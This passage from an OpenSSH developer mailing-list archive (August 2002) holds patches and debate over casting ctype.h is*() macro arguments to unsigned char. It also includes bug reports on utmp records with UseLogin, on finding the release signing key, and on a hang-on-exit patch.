+++ sshconnect.c	2 Aug 2002 12:13:44 -0000
@@ -831,7 +831,7 @@ ssh_login(Sensitive *sensitive, const ch
 	/* Convert the user-supplied hostname into all lowercase. */
 	host = xstrdup(orighost);
 	for (cp = host; *cp; cp++)
-
	if (isupper(*cp))
+
	if (isupper((unsigned)*cp))
 
		*cp = tolower(*cp);
 
 	/* Exchange protocol version identification strings with the server. */
Index: openbsd-compat/inet_aton.c
===================================================================
RCS file: /cvs/openssh/openbsd-compat/inet_aton.c,v
retrieving revision 1.4
diff -u -p -r1.4 inet_aton.c
--- openbsd-compat/inet_aton.c	12 Apr 2002 03:35:40 -0000	1.4
+++ openbsd-compat/inet_aton.c	2 Aug 2002 12:13:44 -0000
@@ -103,7 +103,7 @@ inet_aton(const char *cp, struct in_addr
 {
 	register u_int32_t val;
 	register int base, n;
-
register char c;
+
register unsigned char c;
 	unsigned int parts[4];
 	register unsigned int *pp = parts;
 
Index: openbsd-compat/mktemp.c
===================================================================
RCS file: /cvs/openssh/openbsd-compat/mktemp.c,v
retrieving revision 1.2
diff -u -p -r1.2 mktemp.c
--- openbsd-compat/mktemp.c	13 Feb 2002 05:00:16 -0000	1.2
+++ openbsd-compat/mktemp.c	2 Aug 2002 12:13:44 -0000
@@ -165,7 +165,7 @@ _gettemp(path, doopen, domkdir, slen)
 
				return (0);
 
			*trv++ = 'a';
 
		} else {
-
			if (isdigit(*trv))
+
			if (isdigit((unsigned)*trv))
 
				*trv = 'a';
 
			else if (*trv == 'z')	/* inc from z to A */
 
				*trv = 'A';
Index: openbsd-compat/readpassphrase.c
===================================================================
RCS file: /cvs/openssh/openbsd-compat/readpassphrase.c,v
retrieving revision 1.8
diff -u -p -r1.8 readpassphrase.c
--- openbsd-compat/readpassphrase.c	1 May 2002 12:00:22 -0000	1.8
+++ openbsd-compat/readpassphrase.c	2 Aug 2002 12:13:44 -0000
@@ -120,7 +120,7 @@ restart:
 
	if (p < end) {
 
		if ((flags & RPP_SEVENBIT))
 
			ch &= 0x7f;
-
		if (isalpha(ch)) {
+
		if (isalpha((unsigned)ch)) {
 
			if ((flags & RPP_FORCELOWER))
 
				ch = tolower(ch);
 
			if ((flags & RPP_FORCEUPPER))



------- You are receiving this mail because: -------
You are the assignee for the bug, or are watching the assignee.


From mdb at juniper.net  Fri Aug  2 22:59:34 2002
From: mdb at juniper.net (Mark D. Baushke)
Date: Fri, 02 Aug 2002 05:59:34 -0700
Subject: [Bug 377] New: Reduce compiler warnings. Use unsigned args to the ctype.h is*() macros. 
In-Reply-To: Mail from bugzilla-daemon@mindrot.org 
             dated Fri, 02 Aug 2002 22:37:36 +1000
             <20020802123736.618EFE8FF@shitei.mindrot.org> 
References: <20020802123736.618EFE8FF@shitei.mindrot.org>
Message-ID: <200208021259.g72CxYm38878@merlot.juniper.net>

The patch in the bug report seems to have been mangled.
Here is a cleaner copy.

	-- Mark

Index: canohost.c
===================================================================
RCS file: /cvs/openssh/canohost.c,v
retrieving revision 1.30
diff -u -p -r1.30 canohost.c
--- canohost.c	11 Jul 2002 03:56:47 -0000	1.30
+++ canohost.c	2 Aug 2002 12:13:37 -0000
@@ -90,7 +90,7 @@ get_remote_hostname(int socket, int veri
 	 * of this software).
 	 */
 	for (i = 0; name[i]; i++)
-		if (isupper(name[i]))
+		if (isupper((unsigned)name[i]))
 			name[i] = tolower(name[i]);
 
 	if (!verify_reverse_mapping)
Index: clientloop.c
===================================================================
RCS file: /cvs/openssh/clientloop.c,v
retrieving revision 1.87
diff -u -p -r1.87 clientloop.c
--- clientloop.c	4 Jul 2002 00:14:18 -0000	1.87
+++ clientloop.c	2 Aug 2002 12:13:38 -0000
@@ -485,7 +485,7 @@ process_cmdline(void)
 	cmd = s = read_passphrase("\r\nssh> ", RP_ECHO);
 	if (s == NULL)
 		goto out;
-	while (*s && isspace(*s))
+	while (*s && isspace((unsigned)*s))
 		s++;
 	if (*s == 0)
 		goto out;
@@ -500,7 +500,7 @@ process_cmdline(void)
 		goto out;
 	}
 	s += 2;
-	while (*s && isspace(*s))
+	while (*s && isspace((unsigned)*s))
 		s++;
 
 	if (sscanf(s, "%5[0-9]:%255[^:]:%5[0-9]",
Index: match.c
===================================================================
RCS file: /cvs/openssh/match.c,v
retrieving revision 1.18
diff -u -p -r1.18 match.c
--- match.c	5 Mar 2002 01:42:43 -0000	1.18
+++ match.c	2 Aug 2002 12:13:39 -0000
@@ -135,7 +135,7 @@ match_pattern_list(const char *string, c
 		for (subi = 0;
 		    i < len && subi < sizeof(sub) - 1 && pattern[i] != ',';
 		    subi++, i++)
-			sub[subi] = dolower && isupper(pattern[i]) ?
+			sub[subi] = dolower && isupper((unsigned)pattern[i]) ?
 			    tolower(pattern[i]) : pattern[i];
 		/* If subpattern too long, return failure (no match). */
 		if (subi >= sizeof(sub) - 1)
Index: scp.c
===================================================================
RCS file: /cvs/openssh/scp.c,v
retrieving revision 1.97
diff -u -p -r1.97 scp.c
--- scp.c	21 Jun 2002 00:41:52 -0000	1.97
+++ scp.c	2 Aug 2002 12:13:43 -0000
@@ -755,7 +755,7 @@ sink(argc, argv)
 		if (*cp++ != ' ')
 			SCREWUP("mode not delimited");
 
-		for (size = 0; isdigit(*cp);)
+		for (size = 0; isdigit((unsigned)*cp);)
 			size = size * 10 + (*cp++ - '0');
 		if (*cp++ != ' ')
 			SCREWUP("size not delimited");
Index: sshconnect.c
===================================================================
RCS file: /cvs/openssh/sshconnect.c,v
retrieving revision 1.99
diff -u -p -r1.99 sshconnect.c
--- sshconnect.c	1 Aug 2002 01:26:30 -0000	1.99
+++ sshconnect.c	2 Aug 2002 12:13:44 -0000
@@ -831,7 +831,7 @@ ssh_login(Sensitive *sensitive, const ch
 	/* Convert the user-supplied hostname into all lowercase. */
 	host = xstrdup(orighost);
 	for (cp = host; *cp; cp++)
-		if (isupper(*cp))
+		if (isupper((unsigned)*cp))
 			*cp = tolower(*cp);
 
 	/* Exchange protocol version identification strings with the server. */
Index: openbsd-compat/inet_aton.c
===================================================================
RCS file: /cvs/openssh/openbsd-compat/inet_aton.c,v
retrieving revision 1.4
diff -u -p -r1.4 inet_aton.c
--- openbsd-compat/inet_aton.c	12 Apr 2002 03:35:40 -0000	1.4
+++ openbsd-compat/inet_aton.c	2 Aug 2002 12:13:44 -0000
@@ -103,7 +103,7 @@ inet_aton(const char *cp, struct in_addr
 {
 	register u_int32_t val;
 	register int base, n;
-	register char c;
+	register unsigned char c;
 	unsigned int parts[4];
 	register unsigned int *pp = parts;
 
Index: openbsd-compat/mktemp.c
===================================================================
RCS file: /cvs/openssh/openbsd-compat/mktemp.c,v
retrieving revision 1.2
diff -u -p -r1.2 mktemp.c
--- openbsd-compat/mktemp.c	13 Feb 2002 05:00:16 -0000	1.2
+++ openbsd-compat/mktemp.c	2 Aug 2002 12:13:44 -0000
@@ -165,7 +165,7 @@ _gettemp(path, doopen, domkdir, slen)
 					return (0);
 				*trv++ = 'a';
 			} else {
-				if (isdigit(*trv))
+				if (isdigit((unsigned)*trv))
 					*trv = 'a';
 				else if (*trv == 'z')	/* inc from z to A */
 					*trv = 'A';
Index: openbsd-compat/readpassphrase.c
===================================================================
RCS file: /cvs/openssh/openbsd-compat/readpassphrase.c,v
retrieving revision 1.8
diff -u -p -r1.8 readpassphrase.c
--- openbsd-compat/readpassphrase.c	1 May 2002 12:00:22 -0000	1.8
+++ openbsd-compat/readpassphrase.c	2 Aug 2002 12:13:44 -0000
@@ -120,7 +120,7 @@ restart:
 		if (p < end) {
 			if ((flags & RPP_SEVENBIT))
 				ch &= 0x7f;
-			if (isalpha(ch)) {
+			if (isalpha((unsigned)ch)) {
 				if ((flags & RPP_FORCELOWER))
 					ch = tolower(ch);
 				if ((flags & RPP_FORCEUPPER))


From Weimer at CERT.Uni-Stuttgart.DE  Fri Aug  2 23:23:37 2002
From: Weimer at CERT.Uni-Stuttgart.DE (Florian Weimer)
Date: Fri, 02 Aug 2002 15:23:37 +0200
Subject: [Bug 377] New: Reduce compiler warnings. Use unsigned args to
 the ctype.h is*() macros.
In-Reply-To: <20020802123736.618EFE8FF@shitei.mindrot.org> (bugzilla-daemon@mindrot.org's
 message of "Fri,  2 Aug 2002 22:37:36 +1000 (EST)")
References: <20020802123736.618EFE8FF@shitei.mindrot.org>
Message-ID: <87lm7pe6na.fsf@CERT.Uni-Stuttgart.DE>

bugzilla-daemon at mindrot.org writes:

> Given the possibility of characters outside of the 0 thru 0x7f range
> and the implementation of the is*() macros as using an index into an
> array, negative arguments could lead to unexpected behavior.
>
> log:
> 	* canohost.c (get_remote_hostname): Argument to macro
> 	isupper() should be unsigned.

This is not quite correct on compilers with signed chars.  Arguments
for the is* functions are indeed ints.  (I think the warnings are
bogus.)

-- 
Florian Weimer 	                  Weimer at CERT.Uni-Stuttgart.DE
University of Stuttgart           http://CERT.Uni-Stuttgart.DE/people/fw/
RUS-CERT                          fax +49-711-685-5898


From bugzilla-daemon at mindrot.org  Fri Aug  2 23:40:59 2002
From: bugzilla-daemon at mindrot.org (bugzilla-daemon at mindrot.org)
Date: Fri,  2 Aug 2002 23:40:59 +1000 (EST)
Subject: [Bug 378] New: 
                      sshd does not update utmp/utmpx records correctly when "UseLogin" feature on
Message-ID: <20020802134059.3C41FE92C@shitei.mindrot.org>

http://bugzilla.mindrot.org/show_bug.cgi?id=378

           Summary:                        sshd does not update utmp/utmpx
                    records correctly when "UseLogin" feature on
           Product: Portable OpenSSH
           Version: -current
          Platform: MIPS
        OS/Version: IRIX
            Status: NEW
          Severity: normal
          Priority: P2
         Component: sshd
        AssignedTo: openssh-unix-dev at mindrot.org
        ReportedBy: drk at sgi.com


A customer called in complaining that when he logs into an Irix system
 using ssh and the irix system runs any flavor of sshd, that who/finger type
 utilities do not see his login, thus preventing himself as well
 as others to see who is logged in.  The customer was using different
 levels of Irix and the latest openssh he used was 3.4p1.

 The kicker here is that he had the "UseLogin" feature turned on, i.e.
 via the sshd_config file.  I guess this causes a double login, i.e.
 the password is asked for twice in order to create some type
 of AFS token.  Anyway, not using this feature, the utmp/utmpx
 records get created correctly but when the feature is on,
 the utmp/utmpx records do not get updated correctly.

 I did some testing and found the following.

 sshd via session.c and loginrec.c do all the login
 prep work as well are responsible to update the utmp/utmpx
 accounting files.  Based on what sshd writes into the
 utmp/utmpx records, Irix's login/scheme code will
 update it with some other info.  However, since the
 records were not updated properly by sshd, login/scheme
 basically ignores updating the records.  I'll explain why
 below.

 -in the utmp/utmpx records, there is field, ut_type
 that records what state the record/user is in, i.e.

 #define EMPTY           0
 #define RUN_LVL         1
 #define BOOT_TIME       2
 #define OLD_TIME        3
 #define NEW_TIME        4
 #define INIT_PROCESS    5       /* Process spawned by "init" */
 #define LOGIN_PROCESS   6       /* A "getty" process waiting for login */
 #define USER_PROCESS    7       /* A user process */
 #define DEAD_PROCESS    8
 #define ACCOUNTING      9


 sshd is supposed to put the records, both utmp and utmpx,
 into the USER_PROCESS state.  In the case where you do not use the
 "UseLogin yes", only one login/passwd is issued, it works properly,
 i.e. sshd places the record(s) into USER_PROCESS state and
 login/scheme sees that they are valid and updates the record(s).
 Utilities like who/finger/last work properly.
 In the case where you do use "UseLogin yes", which causes 
 sshd to login twice, session.c uses different logic where
 it does not call the proper routines in loginrec.c to
 update the utmp/utmpx records with the proper state, i.e.
 it does not update the records to USER_PROCESS state.
 In fact, it does not touch this field, i.e. they are 0
 or maybe set to DEAD_PROCESS but for sure it does not set
 the field to USER_PROCESS.

 Now when Irix's login/scheme sees these records and does not
 find the state to be either USER_PROCESS or INIT_PROCESS,
 it does not update some of the other fields.....but no big deal.
 The utilities like who/finger/last only look at ut_type to see
 if the user is active but if they do not see USER_PROCESS or 
 INIT_PROCESS, then they will ignore the entrys.



------- You are receiving this mail because: -------
You are the assignee for the bug, or are watching the assignee.


From bugzilla-daemon at mindrot.org  Fri Aug  2 23:42:09 2002
From: bugzilla-daemon at mindrot.org (bugzilla-daemon at mindrot.org)
Date: Fri,  2 Aug 2002 23:42:09 +1000 (EST)
Subject: [Bug 378] sshd does not update utmp/utmpx records correctly when "UseLogin" feature on
Message-ID: <20020802134209.D9128E935@shitei.mindrot.org>

http://bugzilla.mindrot.org/show_bug.cgi?id=378

drk at sgi.com changed:

           What    |Removed                     |Added
----------------------------------------------------------------------------
            Summary|                       sshd |sshd does not update
                   |does not update utmp/utmpx  |utmp/utmpx records correctly
                   |records correctly when      |when "UseLogin" feature on
                   |"UseLogin" feature on       |





------- You are receiving this mail because: -------
You are the assignee for the bug, or are watching the assignee.


From dot at dotat.at  Sat Aug  3 00:06:13 2002
From: dot at dotat.at (Tony Finch)
Date: Fri, 02 Aug 2002 15:06:13 +0100
Subject: [Bug 377] New: Reduce compiler warnings. Use unsigned args to
 the ctype.h is*() macros.
In-Reply-To: <87lm7pe6na.fsf@CERT.Uni-Stuttgart.DE>
References: <20020802123736.618EFE8FF@shitei.mindrot.org> <20020802123736.618EFE8FF@shitei.mindrot.org>
Message-ID: <E17ad4H-0006Ix-00@chiark.greenend.org.uk>

Florian Weimer <Weimer at CERT.Uni-Stuttgart.DE> wrote:
>bugzilla-daemon at mindrot.org writes:
>
>> Given the possibility of characters outside of the 0 thru 0x7f range
>> and the implementation of the is*() macros as using an index into an
>> array, negative arguments could lead to unexpected behavior.
>>
>> log:
>> 	* canohost.c (get_remote_hostname): Argument to macro
>> 	isupper() should be unsigned.
>
>This is not quite correct on compilers with signed chars.  Arguments
>for the is* functions are indeed ints.  (I think the warnings are
>bogus.)

They are unsigned chars converted to ints or EOF, i.e. the same type
and range as the result of getc() etc. Passing chars to the is*
macros is wrong because if char is signed you end up with an out-
of range negative argument. The warning is right, because indexing
an array with a char is open to the same error.

Tony.
-- 
f.a.n.finch <dot at dotat.at> http://dotat.at/
BAILEY: MAINLY EASTERLY 4 OR 5. FAIR. MODERATE OR GOOD.


From mdb at juniper.net  Sat Aug  3 00:20:03 2002
From: mdb at juniper.net (Mark D. Baushke)
Date: Fri, 02 Aug 2002 07:20:03 -0700
Subject: [Bug 377] New: Reduce compiler warnings. Use unsigned args to the ctype.h is*() macros. 
In-Reply-To: Mail from Florian Weimer <Weimer@CERT.Uni-Stuttgart.DE> 
             dated Fri, 02 Aug 2002 15:23:37 +0200
             <87lm7pe6na.fsf@CERT.Uni-Stuttgart.DE> 
References: <20020802123736.618EFE8FF@shitei.mindrot.org> <87lm7pe6na.fsf@CERT.Uni-Stuttgart.DE>
Message-ID: <200208021420.g72EK3m41988@merlot.juniper.net>

Florian writes:

>This is not quite correct on compilers with signed chars.  Arguments
>for the is* functions are indeed ints.  (I think the warnings are
>bogus.)

The ANSI-ISO-IED-9899-1999 (aka C99) Standards says this:

|     7.4 Character handling <ctype.h>
|
|     The header <ctype.h> declares several functions useful for
|     classifying and mapping characters[See future library directions
|     7.26.2]. In all cases, the argument is an int, the value of which
|     shall be representable as an unsigned char or shall equal the
|     value of the macro EOF. If the argument has any other value, the
|     behavior is undefined.

I take this to mean that values of EOF (-1) thru 256 inclusive (on a
machine with eight bit character types) are valid values to pass in as
an argument and the rest do not have a defined value.

I agree that an expression like: (isascii(ch) && isdigit(ch)) will
always be valid. However, if a char variable ch has a value if 0x80 and
char types are signed, then the plain (isdigit(ch)) will be passing
0xffffff80 due to sign extension and promotion to an int type as the
argument and the behavior is that argument is NOT defined.

All that said, Richard Kettlewell <rjk at terraraq.org.uk> was correct that
the cast to (unsigned) I used should more properly be a case to
(unsigned char). A revised patch is after my .signature

	Thanks,
	-- Mark

Index: canohost.c
===================================================================
RCS file: /cvs/openssh/canohost.c,v
retrieving revision 1.30
diff -u -p -r1.30 canohost.c
--- canohost.c	11 Jul 2002 03:56:47 -0000	1.30
+++ canohost.c	2 Aug 2002 14:19:16 -0000
@@ -90,7 +90,7 @@ get_remote_hostname(int socket, int veri
 	 * of this software).
 	 */
 	for (i = 0; name[i]; i++)
-		if (isupper(name[i]))
+		if (isupper((unsigned char)name[i]))
 			name[i] = tolower(name[i]);
 
 	if (!verify_reverse_mapping)
Index: clientloop.c
===================================================================
RCS file: /cvs/openssh/clientloop.c,v
retrieving revision 1.87
diff -u -p -r1.87 clientloop.c
--- clientloop.c	4 Jul 2002 00:14:18 -0000	1.87
+++ clientloop.c	2 Aug 2002 14:19:17 -0000
@@ -485,7 +485,7 @@ process_cmdline(void)
 	cmd = s = read_passphrase("\r\nssh> ", RP_ECHO);
 	if (s == NULL)
 		goto out;
-	while (*s && isspace(*s))
+	while (*s && isspace((unsigned char)*s))
 		s++;
 	if (*s == 0)
 		goto out;
@@ -500,7 +500,7 @@ process_cmdline(void)
 		goto out;
 	}
 	s += 2;
-	while (*s && isspace(*s))
+	while (*s && isspace((unsigned char)*s))
 		s++;
 
 	if (sscanf(s, "%5[0-9]:%255[^:]:%5[0-9]",
Index: match.c
===================================================================
RCS file: /cvs/openssh/match.c,v
retrieving revision 1.18
diff -u -p -r1.18 match.c
--- match.c	5 Mar 2002 01:42:43 -0000	1.18
+++ match.c	2 Aug 2002 14:19:17 -0000
@@ -135,7 +135,7 @@ match_pattern_list(const char *string, c
 		for (subi = 0;
 		    i < len && subi < sizeof(sub) - 1 && pattern[i] != ',';
 		    subi++, i++)
-			sub[subi] = dolower && isupper(pattern[i]) ?
+			sub[subi] = dolower && isupper((unsigned char)pattern[i]) ?
 			    tolower(pattern[i]) : pattern[i];
 		/* If subpattern too long, return failure (no match). */
 		if (subi >= sizeof(sub) - 1)
Index: scp.c
===================================================================
RCS file: /cvs/openssh/scp.c,v
retrieving revision 1.97
diff -u -p -r1.97 scp.c
--- scp.c	21 Jun 2002 00:41:52 -0000	1.97
+++ scp.c	2 Aug 2002 14:19:17 -0000
@@ -755,7 +755,7 @@ sink(argc, argv)
 		if (*cp++ != ' ')
 			SCREWUP("mode not delimited");
 
-		for (size = 0; isdigit(*cp);)
+		for (size = 0; isdigit((unsigned char)*cp);)
 			size = size * 10 + (*cp++ - '0');
 		if (*cp++ != ' ')
 			SCREWUP("size not delimited");
Index: sshconnect.c
===================================================================
RCS file: /cvs/openssh/sshconnect.c,v
retrieving revision 1.99
diff -u -p -r1.99 sshconnect.c
--- sshconnect.c	1 Aug 2002 01:26:30 -0000	1.99
+++ sshconnect.c	2 Aug 2002 14:19:17 -0000
@@ -831,7 +831,7 @@ ssh_login(Sensitive *sensitive, const ch
 	/* Convert the user-supplied hostname into all lowercase. */
 	host = xstrdup(orighost);
 	for (cp = host; *cp; cp++)
-		if (isupper(*cp))
+		if (isupper((unsigned char)*cp))
 			*cp = tolower(*cp);
 
 	/* Exchange protocol version identification strings with the server. */
Index: openbsd-compat/inet_aton.c
===================================================================
RCS file: /cvs/openssh/openbsd-compat/inet_aton.c,v
retrieving revision 1.4
diff -u -p -r1.4 inet_aton.c
--- openbsd-compat/inet_aton.c	12 Apr 2002 03:35:40 -0000	1.4
+++ openbsd-compat/inet_aton.c	2 Aug 2002 14:19:18 -0000
@@ -103,7 +103,7 @@ inet_aton(const char *cp, struct in_addr
 {
 	register u_int32_t val;
 	register int base, n;
-	register char c;
+	register unsigned char c;
 	unsigned int parts[4];
 	register unsigned int *pp = parts;
 
Index: openbsd-compat/mktemp.c
===================================================================
RCS file: /cvs/openssh/openbsd-compat/mktemp.c,v
retrieving revision 1.2
diff -u -p -r1.2 mktemp.c
--- openbsd-compat/mktemp.c	13 Feb 2002 05:00:16 -0000	1.2
+++ openbsd-compat/mktemp.c	2 Aug 2002 14:19:18 -0000
@@ -165,7 +165,7 @@ _gettemp(path, doopen, domkdir, slen)
 					return (0);
 				*trv++ = 'a';
 			} else {
-				if (isdigit(*trv))
+				if (isdigit((unsigned char)*trv))
 					*trv = 'a';
 				else if (*trv == 'z')	/* inc from z to A */
 					*trv = 'A';
Index: openbsd-compat/readpassphrase.c
===================================================================
RCS file: /cvs/openssh/openbsd-compat/readpassphrase.c,v
retrieving revision 1.8
diff -u -p -r1.8 readpassphrase.c
--- openbsd-compat/readpassphrase.c	1 May 2002 12:00:22 -0000	1.8
+++ openbsd-compat/readpassphrase.c	2 Aug 2002 14:19:18 -0000
@@ -120,7 +120,7 @@ restart:
 		if (p < end) {
 			if ((flags & RPP_SEVENBIT))
 				ch &= 0x7f;
-			if (isalpha(ch)) {
+			if (isalpha((unsigned char)ch)) {
 				if ((flags & RPP_FORCELOWER))
 					ch = tolower(ch);
 				if ((flags & RPP_FORCEUPPER))


From mouring at etoh.eviladmin.org  Sat Aug  3 00:20:24 2002
From: mouring at etoh.eviladmin.org (Ben Lindstrom)
Date: Fri, 2 Aug 2002 09:20:24 -0500 (CDT)
Subject: [Bug 377] New: Reduce compiler warnings. Use unsigned args to
 the ctype.h is*() macros. 
In-Reply-To: <200208021420.g72EK3m41988@merlot.juniper.net>
Message-ID: <Pine.BSO.4.44.0208020918530.1379-100000@etoh.eviladmin.org>


On Fri, 2 Aug 2002, Mark D. Baushke wrote:

[..]
>
> Index: canohost.c
> ===================================================================
> RCS file: /cvs/openssh/canohost.c,v
> retrieving revision 1.30
> diff -u -p -r1.30 canohost.c
> --- canohost.c	11 Jul 2002 03:56:47 -0000	1.30
> +++ canohost.c	2 Aug 2002 14:19:16 -0000
> @@ -90,7 +90,7 @@ get_remote_hostname(int socket, int veri
>  	 * of this software).
>  	 */
>  	for (i = 0; name[i]; i++)
> -		if (isupper(name[i]))
> +		if (isupper((unsigned char)name[i]))
>  			name[i] = tolower(name[i]);
>

Umm.. why not just change 'char name[..];' to u_char name[..]?  Fix the
issue at the source instead of candy coating them?

The same with the rest?



From bugzilla-daemon at mindrot.org  Sat Aug  3 02:28:37 2002
From: bugzilla-daemon at mindrot.org (bugzilla-daemon at mindrot.org)
Date: Sat,  3 Aug 2002 02:28:37 +1000 (EST)
Subject: [Bug 379] New: difficult to find the openssh code signing key on openssh.org.
Message-ID: <20020802162837.15122E941@shitei.mindrot.org>

http://bugzilla.mindrot.org/show_bug.cgi?id=379

           Summary: difficult to find the openssh code signing key on
                    openssh.org.
           Product: Portable OpenSSH
           Version: -current
          Platform: Other
        OS/Version: other
            Status: NEW
          Severity: normal
          Priority: P2
         Component: Documentation
        AssignedTo: openssh-unix-dev at mindrot.org
        ReportedBy: jsmith at purdue.edu


After the release of the report yesterday concerning the trojaned openssh, I  
decided to verify the PGP signature on the distribution I had installed.  I  
spent perhaps 1/2 hour or more before I managed to track down the public key  
of the signer so I could add it to my key-ring and verify that I'd used a  
non-trojaned distribution. It wasn't obvious or easy. 
  
It would be a great service to your user community if you made the signing key  
easy to find on your web site.  A top-level link would be nice, but even a  
link from the download section would be good.  
  
Thank you for your consideration, and keep up the good work on openssh!



------- You are receiving this mail because: -------
You are the assignee for the bug, or are watching the assignee.


From jjaakkol at cs.Helsinki.FI  Sat Aug  3 07:32:14 2002
From: jjaakkol at cs.Helsinki.FI (Jani Jaakkola)
Date: Sat, 3 Aug 2002 00:32:14 +0300 (EEST)
Subject: so-called-hang-on-exit
In-Reply-To: <20020731163547.GB1787@folly>
Message-ID: <Pine.LNX.4.44.0208030000470.1034-100000@loussa.kamppa>

On Wed, 31 Jul 2002, Markus Friedl wrote:

> so, should this go into 3.5?

I vote no, it should not. Here is why:
 
> +	/* allow data loss on pty */

And it indeed happens. After applying this patch, if I say 
'ssh -t localhost pico' and then exit pico I get a garbled screen. 
Picos screen clearing and terminal attribute resetting escape 
sequences are lost because of allowing data loss on pty (pico is just an 
example. I guess most tty programs will behave the same.).

Here is another example (my test sshd lives behind port 444):

<CLIP>
$ ssh -t localhost -p 444 exec echo blah
blah
Connection to localhost closed.
$ ssh -t localhost -p 444 exec echo blah
Connection to localhost closed.
$ ssh -t localhost -p 444 exec echo blah
blah
</CLIP>

So sometimes just 'echo blah' is lost.

My suggestion is that instead of just closing the channel when the 
session process dies, sshd should effort to empty the pty buffer before 
closing the channel. This could be implemented so that 
when the session process dies, sshd should read (and buffer) the pty 
master data until it gets EAGAIN and then close the channel. All 
pending output from dead session processes should allready be in the pty 
buffer, so first EAGAIN means that all of it has been read processed.

I guess I will attempt to implement this, but it will take some time (I 
will need to learn how session.c and serverloop.c work first).

- Jani



From Nicolas.Williams at ubsw.com  Sat Aug  3 08:14:05 2002
From: Nicolas.Williams at ubsw.com (Nicolas.Williams at ubsw.com)
Date: Fri, 2 Aug 2002 18:14:05 -0400
Subject: so-called-hang-on-exit
Message-ID: <BF5F3FE870FB5C4B89BC1A1FBC76778C08EBF7@NSTMC004PEX1.ubsgs.ubsgroup.net>

So, this forcefully closes stdout when the session process
leader exits and stderr is already closed?

I'm not sure why that would be a good thing... What am I missing?

The hang-on-exit go around has gone round so many times... -
why buckle now on the position that it's the client's
responsibility to decide to close the SSH connection early
when the session exits, as users expect, and not sshd's?

Why not have an option for the client to do this?

Cheers,

Nico
-- 

> -----Original Message-----
> From: Markus Friedl [mailto:markus at openbsd.org]
> Sent: Wednesday, July 31, 2002 12:36 PM
> To: openssh-unix-dev at mindrot.org
> Subject: so-called-hang-on-exit
> 
> 
> so, should this go into 3.5?
> 
> Index: serverloop.c
> ===================================================================
[...]
> Index: session.c
> ===================================================================
[...]

Visit our website at http://www.ubswarburg.com

This message contains confidential information and is intended only 
for the individual named.  If you are not the named addressee you 
should not disseminate, distribute or copy this e-mail.  Please 
notify the sender immediately by e-mail if you have received this 
e-mail by mistake and delete this e-mail from your system.

E-mail transmission cannot be guaranteed to be secure or error-free 
as information could be intercepted, corrupted, lost, destroyed, 
arrive late or incomplete, or contain viruses.  The sender therefore 
does not accept liability for any errors or omissions in the contents 
of this message which arise as a result of e-mail transmission.  If 
verification is required please request a hard-copy version.  This 
message is provided for informational purposes and should not be 
construed as a solicitation or offer to buy or sell any securities or 
related financial instruments.



From mdb at juniper.net  Sat Aug  3 09:12:05 2002
From: mdb at juniper.net (Mark D. Baushke)
Date: Fri, 02 Aug 2002 16:12:05 -0700
Subject: [Bug 377] New: Reduce compiler warnings. Use unsigned args to the ctype.h is*() macros. 
In-Reply-To: Mail from Ben Lindstrom <mouring@etoh.eviladmin.org> 
             dated Fri, 02 Aug 2002 09:20:24 CDT
             <Pine.BSO.4.44.0208020918530.1379-100000@etoh.eviladmin.org> 
References: <Pine.BSO.4.44.0208020918530.1379-100000@etoh.eviladmin.org>
Message-ID: <200208022312.g72NC5m82179@merlot.juniper.net>

Ben Lindstrom wrote:
>Umm.. why not just change 'char name[..];' to u_char name[..]?  Fix the
>issue at the source instead of candy coating them?

Done.

>The same with the rest?

Both scp.c and mktemp.c have other functions that want pointers to char
rather than u_char passed as args. Hacking them to use u_char buffers
makes gcc 3.1 complain about more lines. I think the cast is the better
approach with those two files. I am using u_char types for the others.

	-- Mark
Log:

2002-08-02  Mark D Baushke <mdb at juniper.net>

	* canonhost.c, clientloop.c, match.c, match.h, scp.c,
	sshconnect.c, openbsd-compat/inet_aton.c,
	openbsd-compat/mktemp.c, openbsd-compat/readpassphrase.c:
	Avoid problems on hosts with signed chars potentially passing a
	non-EOF negative value to the ctype.h is* functions. Use u_char
	for the variables where possible or cast to u_char if needed.

Index: canohost.c
===================================================================
RCS file: /cvs/openssh/canohost.c,v
retrieving revision 1.30
diff -u -p -r1.30 canohost.c
--- canohost.c	11 Jul 2002 03:56:47 -0000	1.30
+++ canohost.c	2 Aug 2002 23:02:02 -0000
@@ -33,7 +33,8 @@ get_remote_hostname(int socket, int veri
 	int i;
 	socklen_t fromlen;
 	struct addrinfo hints, *ai, *aitop;
-	char name[NI_MAXHOST], ntop[NI_MAXHOST], ntop2[NI_MAXHOST];
+	u_char name[NI_MAXHOST];
+	char ntop[NI_MAXHOST], ntop2[NI_MAXHOST];
 
 	/* Get IP address of client. */
 	fromlen = sizeof(from);
Index: clientloop.c
===================================================================
RCS file: /cvs/openssh/clientloop.c,v
retrieving revision 1.87
diff -u -p -r1.87 clientloop.c
--- clientloop.c	4 Jul 2002 00:14:18 -0000	1.87
+++ clientloop.c	2 Aug 2002 23:02:03 -0000
@@ -475,7 +475,7 @@ static void
 process_cmdline(void)
 {
 	void (*handler)(int);
-	char *s, *cmd;
+	u_char *s, *cmd;
 	u_short fwd_port, fwd_host_port;
 	char buf[1024], sfwd_port[6], sfwd_host_port[6];
 	int local = 0;
Index: match.c
===================================================================
RCS file: /cvs/openssh/match.c,v
retrieving revision 1.18
diff -u -p -r1.18 match.c
--- match.c	5 Mar 2002 01:42:43 -0000	1.18
+++ match.c	2 Aug 2002 23:02:03 -0000
@@ -111,10 +111,10 @@ match_pattern(const char *s, const char 
  */
 
 int
-match_pattern_list(const char *string, const char *pattern, u_int len,
-    int dolower)
+match_pattern_list(const u_char *string, const u_char *pattern, 
+    u_int len, int dolower)
 {
-	char sub[1024];
+	u_char sub[1024];
 	int negated;
 	int got_positive;
 	u_int i, subi;
Index: match.h
===================================================================
RCS file: /cvs/openssh/match.h,v
retrieving revision 1.11
diff -u -p -r1.11 match.h
--- match.h	5 Mar 2002 01:42:43 -0000	1.11
+++ match.h	2 Aug 2002 23:02:03 -0000
@@ -15,7 +15,7 @@
 #define MATCH_H
 
 int	 match_pattern(const char *, const char *);
-int	 match_pattern_list(const char *, const char *, u_int, int);
+int	 match_pattern_list(const u_char *, const u_char *, u_int, int);
 int	 match_hostname(const char *, const char *, u_int);
 int	 match_host_and_ip(const char *, const char *, const char *);
 int	 match_user(const char *, const char *, const char *, const char *);
Index: scp.c
===================================================================
RCS file: /cvs/openssh/scp.c,v
retrieving revision 1.97
diff -u -p -r1.97 scp.c
--- scp.c	21 Jun 2002 00:41:52 -0000	1.97
+++ scp.c	2 Aug 2002 23:02:04 -0000
@@ -755,7 +755,7 @@ sink(argc, argv)
 		if (*cp++ != ' ')
 			SCREWUP("mode not delimited");
 
-		for (size = 0; isdigit(*cp);)
